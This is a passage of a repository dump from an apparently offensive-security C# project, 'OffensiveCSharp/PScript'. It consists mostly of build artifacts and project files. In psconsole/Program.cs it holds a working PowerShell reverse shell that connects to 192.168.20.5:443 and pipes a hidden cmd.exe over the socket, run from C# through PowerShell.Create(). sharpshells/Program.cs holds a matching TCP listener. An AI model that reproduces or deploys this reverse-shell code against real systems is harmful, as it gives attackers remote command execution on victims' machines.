| D:\aalphaas\PScript\PScript\obj\Debug\PScript.Sharp_PS.resources 12 | D:\aalphaas\PScript\PScript\obj\Debug\PScript.csprojAssemblyReference.cache 13 | -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.exe -------------------------------------------------------------------------------- /PScript/PScript/obj/Debug/PScript.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Debug/PScript.pdb -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.PSForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.PSForm.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.Properties.Resources.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.Sharp_PS.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.Sharp_PS.resources -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.csproj.CopyComplete -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\PScript\bin\Release\PScript.exe.config 2 | D:\aalphaas\PScript\PScript\bin\Release\PScript.exe 3 | D:\aalphaas\PScript\PScript\bin\Release\PScript.pdb 4 | D:\aalphaas\PScript\PScript\bin\Release\System.Management.Automation.dll 5 | D:\aalphaas\PScript\PScript\obj\Release\PScript.PSForm.resources 6 | D:\aalphaas\PScript\PScript\obj\Release\PScript.Properties.Resources.resources 7 | D:\aalphaas\PScript\PScript\obj\Release\PScript.csproj.GenerateResource.cache 8 | D:\aalphaas\PScript\PScript\obj\Release\PScript.csproj.CopyComplete 9 | D:\aalphaas\PScript\PScript\obj\Release\PScript.exe 10 | D:\aalphaas\PScript\PScript\obj\Release\PScript.pdb 11 | D:\aalphaas\PScript\PScript\obj\Release\PScript.Sharp_PS.resources 12 | -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.exe -------------------------------------------------------------------------------- /PScript/PScript/obj/Release/PScript.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/PScript/obj/Release/PScript.pdb -------------------------------------------------------------------------------- /PScript/PScript/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /PScript/client/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/client/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("client")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("client")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PScript/client/bin/Debug/client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/bin/Debug/client.exe -------------------------------------------------------------------------------- /PScript/client/bin/Debug/client.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/client/bin/Debug/client.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/bin/Debug/client.pdb -------------------------------------------------------------------------------- /PScript/client/bin/Debug/myscreen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/bin/Debug/myscreen.png -------------------------------------------------------------------------------- /PScript/client/client.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8} 8 | Exe 9 | client 10 | client 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /PScript/client/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /PScript/client/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /PScript/client/obj/Debug/client.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 634810a4d898deb5ea4581f0bf97094c1cda95c8 2 | -------------------------------------------------------------------------------- /PScript/client/obj/Debug/client.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\client\bin\Debug\client.exe.config 2 | D:\aalphaas\PScript\client\bin\Debug\client.exe 3 | D:\aalphaas\PScript\client\bin\Debug\client.pdb 4 | D:\aalphaas\PScript\client\obj\Debug\client.exe 5 | D:\aalphaas\PScript\client\obj\Debug\client.pdb 6 | D:\aalphaas\PScript\client\obj\Debug\client.csprojAssemblyReference.cache 7 | D:\aalphaas\offensivec#\PScript\client\obj\Debug\client.csprojAssemblyReference.cache 8 | D:\aalphaas\offensivec#\PScript\client\obj\Debug\client.csproj.CoreCompileInputs.cache 9 | D:\aalphaas\offensivec#\PScript\client\obj\Debug\client.exe 10 | D:\aalphaas\offensivec#\PScript\client\obj\Debug\client.pdb 11 | -------------------------------------------------------------------------------- /PScript/client/obj/Debug/client.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/obj/Debug/client.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /PScript/client/obj/Debug/client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/obj/Debug/client.exe -------------------------------------------------------------------------------- /PScript/client/obj/Debug/client.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/client/obj/Debug/client.pdb -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.7.0.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.7.0.0/.signature.p7s -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.7.0.0/System.Management.Automation.7.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.7.0.0/System.Management.Automation.7.0.0.nupkg -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.7.0.0/ref/netcoreapp3.1/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.7.0.0/ref/netcoreapp3.1/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.7.0.0/runtimes/unix/lib/netcoreapp3.1/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.7.0.0/runtimes/unix/lib/netcoreapp3.1/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.7.0.0/runtimes/win/lib/netcoreapp3.1/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.7.0.0/runtimes/win/lib/netcoreapp3.1/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.dll.10.0.10586.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.dll.10.0.10586.0/.signature.p7s -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.dll.10.0.10586.0/System.Management.Automation.dll.10.0.10586.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.dll.10.0.10586.0/System.Management.Automation.dll.10.0.10586.0.nupkg -------------------------------------------------------------------------------- /PScript/packages/System.Management.Automation.dll.10.0.10586.0/lib/net40/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/packages/System.Management.Automation.dll.10.0.10586.0/lib/net40/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/psconsole/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/psconsole/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Management.Automation; 7 | 8 | namespace psconsole 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | runps(); 15 | } 16 | 17 | static void runps() 18 | { 19 | string script = @"function cleanup { 20 | if ($client.Connected -eq $true) {$client.Close()} 21 | if ($process.ExitCode -ne $null) {$process.Close()} 22 | exit} 23 | // Setup IPADDR 24 | $address = '192.168.20.5' 25 | // Setup PORT 26 | $port = '443' 27 | $client = New-Object system.net.sockets.tcpclient 28 | $client.connect($address,$port) 29 | $stream = $client.GetStream() 30 | $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize 31 | $process = New-Object System.Diagnostics.Process 32 | $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' 33 | $process.StartInfo.RedirectStandardInput = 1 34 | $process.StartInfo.RedirectStandardOutput = 1 35 | $process.StartInfo.UseShellExecute = 0 36 | $process.StartInfo.WindowStyle = Hidden 37 | $process.Start() 38 | $inputstream = $process.StandardInput 39 | $outputstream = $process.StandardOutput 40 | Start-Sleep 1 41 | $encoding = new-object System.Text.AsciiEncoding 42 | while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())} 43 | $stream.Write($encoding.GetBytes($out),0,$out.Length) 44 | $out = $null; $done = $false; $testing = 0; 45 | while (-not $done) { 46 | if ($client.Connected -ne $true) {cleanup} 47 | $pos = 0; $i = 1 48 | while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { 49 | $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos) 50 | $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} 51 | if ($pos -gt 0) { 52 | $string = $encoding.GetString($networkbuffer,0,$pos) 53 | $inputstream.write($string) 54 | start-sleep 1 55 | if ($process.ExitCode -ne $null) {cleanup} 56 | else { 57 | $out = $encoding.GetString($outputstream.Read()) 58 | while($outputstream.Peek() -ne -1){ 59 | $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}} 60 | $stream.Write($encoding.GetBytes($out),0,$out.length) 61 | $out = $null 62 | $string = $null}} else {cleanup}}"; 63 | 64 | using (var powershell = PowerShell.Create()) 65 | { 66 | powershell.AddScript(script, false); 67 | 68 | powershell.Invoke(); 69 | 70 | powershell.Commands.Clear(); 71 | 72 | 73 | var results = powershell.Invoke(); 74 | } 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /PScript/psconsole/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("psconsole")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("psconsole")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3412fbe9-19d3-41d8-9ad2-6461fcb394dc")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PScript/psconsole/bin/Debug/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Debug/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/psconsole/bin/Debug/psconsole.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Debug/psconsole.exe -------------------------------------------------------------------------------- /PScript/psconsole/bin/Debug/psconsole.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/psconsole/bin/Debug/psconsole.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Debug/psconsole.pdb -------------------------------------------------------------------------------- /PScript/psconsole/bin/Release/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Release/System.Management.Automation.dll -------------------------------------------------------------------------------- /PScript/psconsole/bin/Release/psconsole.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Release/psconsole.exe -------------------------------------------------------------------------------- /PScript/psconsole/bin/Release/psconsole.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/psconsole/bin/Release/psconsole.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/bin/Release/psconsole.pdb -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/psconsole.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Debug/psconsole.csproj.CopyComplete -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/psconsole.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\psconsole\bin\Debug\psconsole.exe.config 2 | D:\aalphaas\PScript\psconsole\bin\Debug\psconsole.exe 3 | D:\aalphaas\PScript\psconsole\bin\Debug\psconsole.pdb 4 | D:\aalphaas\PScript\psconsole\bin\Debug\System.Management.Automation.dll 5 | D:\aalphaas\PScript\psconsole\obj\Debug\psconsole.csproj.CopyComplete 6 | D:\aalphaas\PScript\psconsole\obj\Debug\psconsole.exe 7 | D:\aalphaas\PScript\psconsole\obj\Debug\psconsole.pdb 8 | -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/psconsole.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Debug/psconsole.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/psconsole.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Debug/psconsole.exe -------------------------------------------------------------------------------- /PScript/psconsole/obj/Debug/psconsole.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Debug/psconsole.pdb -------------------------------------------------------------------------------- /PScript/psconsole/obj/Release/psconsole.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Release/psconsole.csproj.CopyComplete -------------------------------------------------------------------------------- /PScript/psconsole/obj/Release/psconsole.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\psconsole\bin\Release\psconsole.exe.config 2 | D:\aalphaas\PScript\psconsole\bin\Release\psconsole.exe 3 | D:\aalphaas\PScript\psconsole\bin\Release\psconsole.pdb 4 | D:\aalphaas\PScript\psconsole\bin\Release\System.Management.Automation.dll 5 | D:\aalphaas\PScript\psconsole\obj\Release\psconsole.csproj.CopyComplete 6 | D:\aalphaas\PScript\psconsole\obj\Release\psconsole.exe 7 | D:\aalphaas\PScript\psconsole\obj\Release\psconsole.pdb 8 | -------------------------------------------------------------------------------- /PScript/psconsole/obj/Release/psconsole.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Release/psconsole.exe -------------------------------------------------------------------------------- /PScript/psconsole/obj/Release/psconsole.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/psconsole/obj/Release/psconsole.pdb -------------------------------------------------------------------------------- /PScript/psconsole/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /PScript/psconsole/psconsole.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3412FBE9-19D3-41D8-9AD2-6461FCB394DC} 8 | Exe 9 | psconsole 10 | psconsole 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | ..\packages\System.Management.Automation.dll.10.0.10586.0\lib\net40\System.Management.Automation.dll 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /PScript/sharpshells/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/sharpshells/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace sharpshells 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | 16 | } 17 | 18 | public static void StartServer() 19 | { 20 | // Get Host IP Address that is used to establish a connection 21 | // In this case, we get one IP address of localhost that is IP : 127.0.0.1 22 | // If a host has multiple addresses, you will get a list of addresses 23 | //IPHostEntry host = Dns.GetHostEntry("localhost"); 24 | IPAddress ipAddress = IPAddress.Parse("192.168.20.5"); 25 | IPEndPoint localEndPoint = new IPEndPoint(ipAddress, 443); 26 | 27 | 28 | try 29 | { 30 | 31 | // Create a Socket that will use Tcp protocol 32 | Socket listener = new Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp); 33 | // A Socket must be associated with an endpoint using the Bind method 34 | listener.Bind(localEndPoint); 35 | // Specify how many requests a Socket can listen before it gives Server busy response. 36 | // We will listen 10 requests at a time 37 | listener.Listen(10); 38 | while (true) 39 | { 40 | 41 | 42 | Console.WriteLine("Waiting for a connection..."); 43 | Socket handler = listener.Accept(); 44 | 45 | // Incoming data from the client. 46 | string data = null; 47 | byte[] bytes = null; 48 | 49 | while (true) 50 | { 51 | bytes = new byte[1024]; 52 | int bytesRec = handler.Receive(bytes); 53 | data += Encoding.ASCII.GetString(bytes, 0, bytesRec); 54 | if (data.IndexOf("") > -1) 55 | { 56 | break; 57 | } 58 | } 59 | 60 | Console.WriteLine("Text received : {0}", data); 61 | 62 | byte[] msg = Encoding.ASCII.GetBytes(data); 63 | handler.Send(msg); 64 | handler.Shutdown(SocketShutdown.Both); 65 | handler.Close(); 66 | } 67 | } 68 | catch (Exception e) 69 | { 70 | Console.WriteLine(e.ToString()); 71 | } 72 | 73 | Console.WriteLine("\n Press any key to continue..."); 74 | Console.ReadKey(); 75 | } 76 | } 77 | } 78 | 79 | -------------------------------------------------------------------------------- /PScript/sharpshells/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("sharpshells")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("sharpshells")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("048a6559-d4d3-4ad8-af0f-b7f72b212e90")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PScript/sharpshells/bin/Debug/sharpshells.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/bin/Debug/sharpshells.exe -------------------------------------------------------------------------------- /PScript/sharpshells/bin/Debug/sharpshells.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /PScript/sharpshells/bin/Debug/sharpshells.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/bin/Debug/sharpshells.pdb -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/server.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.exe.config 2 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.exe 3 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.pdb 4 | D:\aalphaas\PScript\sharpshells\obj\Debug\sharpshells.exe 5 | D:\aalphaas\PScript\sharpshells\obj\Debug\sharpshells.pdb 6 | D:\aalphaas\PScript\sharpshells\obj\Debug\server.csprojAssemblyReference.cache 7 | -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/server.csprojAssemblyReference.cache: 